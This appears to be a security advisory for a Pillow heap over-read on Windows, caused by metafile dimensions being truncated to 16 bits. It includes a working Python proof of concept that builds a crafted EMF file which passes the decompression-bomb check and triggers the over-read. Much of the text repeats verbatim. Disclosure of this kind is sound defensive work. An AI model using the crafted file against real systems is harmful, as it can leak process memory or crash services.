CVE-2026-96644

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Summary

On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details

The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

• src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

• src/display.c:793-794 assign the 16-bit fields
• src/display.c:800 sizes the allocation from them
• src/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).

PoC

import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact

CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Summary

On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details

The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

• src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

• src/display.c:793-794 assign the 16-bit fields
• src/display.c:800 sizes the allocation from them
• src/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).

PoC

import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact

CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.